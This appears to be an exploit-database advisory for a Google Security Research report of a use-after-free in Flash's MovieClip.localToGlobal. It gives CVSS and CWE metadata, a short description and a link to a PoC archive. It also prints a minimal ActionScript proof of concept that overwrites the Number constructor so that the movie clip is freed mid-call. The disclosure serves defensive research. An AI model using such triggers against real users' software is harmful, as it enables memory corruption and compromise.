Use-after-free issue in MovieClip.localToGlobal

vendor:

N/A

by:

Google Security Research

7,5

CVSS

HIGH

Use-after-free

416

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2015

Use-after-free issue in MovieClip.localToGlobal

If the Number constructor is overwritten with a new constructor and MovieClip.localToGlobal is called with an integer parameter, the new constructor will get called. If this constructor frees the MovieClip, a use-after-free occurs.

Mitigation:

Ensure that the Number constructor is not overwritten with a new constructor.

Source

Exploit-DB raw data:

Source: https://code.google.com/p/google-security-research/issues/detail?id=570

There is a use-after-free issue in MovieClip.localToGlobal. If the Number constructor is overwritten with a new constructor and MovieClip.localToGlobal is called with an integer parameter, the new constructor will get called. If this constructor frees the MovieClip, a use-after-free occurs. A minimal PoC is as follows:

var a = func;
_global.Number = a;
this.createEmptyMovieClip("mc", 1);
mc.localToGlobal( 7 );


function func(){
	
	mc.removeMovieClip();
	
        // fix heap here  

        this.x = 2;
	this.y = 1;
	
	}
	
A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39056.zip